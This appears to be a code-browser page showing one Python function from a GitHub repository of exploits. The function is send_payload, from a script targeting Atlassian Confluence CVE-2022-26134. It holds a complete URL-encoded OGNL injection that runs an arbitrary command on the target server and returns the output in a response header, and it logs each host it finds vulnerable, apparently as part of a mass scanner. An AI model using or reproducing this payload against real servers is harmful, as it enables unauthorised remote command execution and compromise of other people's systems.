MCPcopy Create free account
hub / github.com/Firebasky/Java / send_payload

Function send_payload

Confluence/CVE-2022-26134.py:55–68  ·  view source on GitHub ↗
(host, command)

Source from the content-addressed store, hash-verified

53
54
55def send_payload(host, command):
56 try:
57 response = requests.get(
58 "{}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/".format(
59 host, command), headers=headers, timeout=2, verify=False, proxies=socket_proxies, allow_redirects=False)
60 if (response.status_code == 302):
61 if "bin" in response.headers['X-Cmd-Response']:
62 result.append(host + " confluence-cve-2022-26134")
63 print(host + '\033[1;31m confluence-cve-2022-26134\033[0m')
64 # return response.headers['X-Cmd-Response']
65 else:
66 return False
67 except:
68 pass
69
70def save(result):
71 file = open('result.txt', 'w')

Callers 1

Scan_httpFunction · 0.85

Calls 1

getMethod · 0.80

Tested by

no test coverage detected